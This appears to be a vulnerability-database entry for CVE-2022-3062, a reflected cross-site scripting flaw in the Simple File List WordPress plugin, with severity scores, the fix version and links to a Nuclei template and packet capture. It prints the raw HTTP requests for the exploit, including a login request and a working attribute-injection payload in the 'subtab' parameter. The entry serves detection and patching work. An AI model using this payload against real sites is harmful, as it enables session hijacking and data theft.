| Title | Simple File List < 4.4.12 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 4.4.12 |
| CVSS Score | 6.1 |
| EPSS Score | 0.48658 |
| CVE ID | CVE-2022-3062 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 authenticated wordpress wp-plugin wp wpscan xss simple-file-list simplefilelist vuln |
The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=ROHOBG&pwd=EJtNZ3&wp-submit=Log+In
GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-3062.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-3062.pcap
N/AN/A